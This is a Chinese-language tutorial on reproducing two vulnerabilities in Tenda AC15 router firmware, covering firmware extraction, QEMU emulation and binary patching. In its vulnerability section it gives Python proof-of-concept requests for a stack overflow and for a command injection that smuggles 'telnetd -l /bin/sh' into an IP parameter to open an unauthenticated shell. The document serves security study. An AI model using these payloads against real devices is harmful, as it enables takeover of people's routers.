Tenda AC15固件漏洞复现与分析
字数 3377 2025-10-18 11:16:48
Tenda AC15 固件漏洞复现与分析教学文档
一、 前言与目标
核心思想:学习物联网(IoT)漏洞挖掘最有效的方法之一是亲手复现已知漏洞。本文档将以 Tenda AC15 路由器为例,完整演练从固件获取到漏洞复现的全过程。
学习目标:
- 掌握 IoT 固件的基本分析方法。
- 学会使用必要的工具进行信息搜集和静态分析。
- 掌握使用 QEMU 模拟 ARM 架构固件运行环境的方法。
- 掌握使用 IDA Pro 进行动态调试和代码修补(Patching)的技巧。
- 成功复现栈溢出和命令注入两类经典漏洞。
二、 环境与工具准备
目标固件:Tenda AC15,版本号 15.03.05.19
必需工具列表:
- 固件提取与分析:
binwalk - 信息搜集:
Firmwalker,Trommel - 架构模拟:
qemu-user-static - 静态分析与动态调试:IDA Pro(需配备 ARM 处理器支持及 KeyPatch 插件)
- 脚本语言:Python, Bash
三、 固件获取与解包
-
获取固件:
- 从 Tenda 官方网站下载 AC15 的升级软件包。
- 解压下载的压缩包,得到名为
AC15_15.03.05.19.bin(或类似名称)的固件文件。
-
解包固件:
- 使用
binwalk对固件进行递归解包,提取文件系统。
binwalk -Me AC15_15.03.05.19.bin- 解包完成后,主要工作目录为
_AC15_15.03.05.19.bin.extracted/squashfs-root/,此目录即为固件的根文件系统。
- 使用
四、 信息搜集与初步分析
-
使用自动化工具扫描:
-
Firmwalker:一个 Bash 脚本,用于在提取的文件系统中搜索敏感信息(如密码文件、SSL 证书、配置文件、脚本、URL、IP 地址等)。
./firmwalker.sh /path/to/squashfs-root- 结果将输出到
firmwalker.txt,需仔细审查。
- 结果将输出到
-
Trommel:另一个用于识别潜在安全威胁指标的工具(如 SSH/SSL 密钥、特定二进制文件、配置文件等)。
python3 trommel.py /path/to/squashfs-root- 输出结果可能非常庞大,需结合关键词过滤分析。
-
-
分析启动项:
- 定位并分析
/etc_ro/init.d/rcS或其他类似启动脚本。该脚本负责系统初始化,关键操作包括:- 创建必要的目录(如
/var/etc,/var/webroot)。 - 将只读目录(
/etc_ro/,/webroot_ro/)的内容复制到可写目录(/etc/,/webroot/)。 - 启动关键服务:
telnetd,httpd(Web 服务),vsftpd(FTP),smbd(Samba),minidlna等。
- 创建必要的目录(如
- 定位并分析
-
确定攻击面:
- 综合分析后,确定主要分析目标为
/bin/httpd(Web 服务器程序),因为它直接面向网络,是常见的漏洞来源。
- 综合分析后,确定主要分析目标为
五、 固件模拟与调试环境搭建
-
确定二进制文件架构:
file squashfs-root/bin/httpd- 输出应为:
ELF 32-bit LSB executable, ARM...,表明是 ARM 32 位小端序架构。
- 输出应为:
-
使用 QEMU 进行初始模拟:
- 将
qemu-arm-static复制到固件根目录squashfs-root中。 - 尝试使用
chroot模拟环境:sudo chroot . ./qemu-arm-static ./bin/httpd - 问题:程序通常会卡住,无法正常启动,需要动态调试分析原因。
- 将
-
动态调试与代码修补(Patching):
- 步骤 1:逆向分析
- 用 IDA Pro 加载
httpd二进制文件。 - 通过字符串视图搜索 "Welcome to..." 等标志性字符串,定位到程序初始化部分。
- 用 IDA Pro 加载
- 步骤 2:定位阻塞点
- 在字符串上方指令设置断点。
- 使用 QEMU 的
-g参数开启调试端口:sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd - 在 IDA Pro 中使用远程调试功能连接至
localhost:1234。 - 运行程序至断点,然后单步跟踪,发现程序陷入一个无限循环的
sleep或条件跳转中(例如loc_2E504处的循环)。
- 步骤 3:修补二进制文件
- 使用 IDA 的 KeyPatch 插件,将导致循环的条件跳转指令(如
BGT)修改为无条件跳转指令(B)。 - 应用补丁并保存新的
httpd文件。
- 使用 IDA 的 KeyPatch 插件,将导致循环的条件跳转指令(如
- 步骤 4:解决网络绑定问题
- 修补后再次模拟,程序可能卡在绑定 IP 地址
255.255.255.255上。 - 逆向分析
httpd,跟踪listen的 IP 地址来源。发现它来自全局变量g_lan_ip。 g_lan_ip的值由getLanIfName()和getIfIp()等函数动态获取,最终返回接口br0的 IP。- 解决方案:在
chroot环境中,为虚拟的br0接口设置一个有效 IP(如192.168.0.1),但更简单的方法是在主机上使用bridge网络模式运行 QEMU,并确保httpd能获取到有效 IP。
- 修补后再次模拟,程序可能卡在绑定 IP 地址
- 步骤 1:逆向分析
-
部署 Web 资源:
- 根据
rcS脚本,需要将webroot_ro目录的内容复制到webroot目录,以提供 Web 界面文件。cp -r squashfs-root/webroot_ro/* squashfs-root/webroot/
- 根据
-
成功模拟:
- 完成以上步骤后,再次运行
chroot和 QEMU,httpd服务应能正常启动并监听192.168.0.1:80。在宿主机的浏览器中访问此地址即可看到路由器的 Web 管理界面。
- 完成以上步骤后,再次运行
六、 漏洞挖掘与复现
漏洞挖掘方法论:
- 关注点:重点审计
httpd中处理前端请求的“set”类函数(如formSetXxx),这些函数常因对用户输入处理不当而产生漏洞。 - 漏洞类型与关键函数:
- 栈溢出:关注
strcpy,sprintf,gets等不检查目标缓冲区大小的危险函数。 - 命令注入:关注
system,execve,popen等用于执行系统命令的函数。
- 栈溢出:关注
漏洞复现 1:栈溢出 (CVE-2025-25634)
-
漏洞描述:
/goform/xxx路由的某个处理函数中,对参数src使用strcpy复制到固定大小的栈缓冲区s(大小为 596 字节)时,未检查src的长度,导致栈溢出。 -
复现步骤:
- 在 IDA 中定位到存在漏洞的函数,验证
strcpy的使用。 - 构造一个超过 596 字节的 HTTP POST 请求,其中包含超长的
src参数。 - 使用 Python 的
requests库或curl命令发送此恶意请求。
- PoC 示例:
import requests url = "http://192.168.0.1/goform/vulnerableEndpoint" headers = {"Content-Type": "application/x-www-form-urlencoded"} # 构造超长数据,覆盖返回地址,可能造成程序崩溃或执行任意代码 payload = "src=" + "A" * 1000 response = requests.post(url, data=payload, headers=headers) print(response.status_code)
- 观察
httpd进程是否发生崩溃,验证漏洞存在。
- 在 IDA 中定位到存在漏洞的函数,验证
漏洞复现 2:命令注入 (CVE-2025-25632)
-
漏洞描述:
/goform/telnet路由的处理函数中,未对用户输入的 IP 地址参数进行过滤,直接拼接进doSystemCmd函数中执行,导致命令注入。 -
复现步骤:
- 在 IDA 中定位到
/goform/telnet的处理函数,找到调用doSystemCmd的地方。 - 构造特殊的 HTTP 请求,在 IP 地址参数后拼接恶意命令(如
; telnetd -l /bin/sh)。 - 发送此请求,如果成功,将在设备上开启一个无需认证的 Telnet 服务。
- PoC 示例:
import requests url = "http://192.168.0.1/goform/telnet" headers = {"Content-Type": "application/x-www-form-urlencoded"} # 注入命令,在设置 IP 的同时启动 telnet 服务 payload = "ip=192.168.0.100; telnetd -l /bin/sh &" response = requests.post(url, data=payload, headers=headers) print(response.status_code)
- 尝试使用 Telnet 连接路由器的 IP 地址,如果成功获得 shell,则证明漏洞复现成功。
telnet 192.168.0.1
- 在 IDA 中定位到
七、 总结
本教学文档详细阐述了 IoT 设备固件安全分析的完整流程:
- 环境准备:准备好分析工具链。
- 固件处理:下载、解包固件,获取文件系统。
- 信息搜集:使用自动化工具快速定位敏感信息和潜在攻击面。
- 环境模拟:使用 QEMU 和
chroot模拟运行环境,并通过逆向调试解决模拟过程中遇到的阻塞问题。 - 漏洞分析:结合静态分析和动态调试,定位漏洞点,理解其成因。
- 漏洞复现:编写 PoC 代码,实际触发漏洞,验证其危害性。
通过复现 Tenda AC15 的栈溢出和命令注入漏洞,可以深刻理解 IoT 设备中常见的代码安全缺陷,为后续自主挖掘漏洞打下坚实基础。
参考:原文链接内容。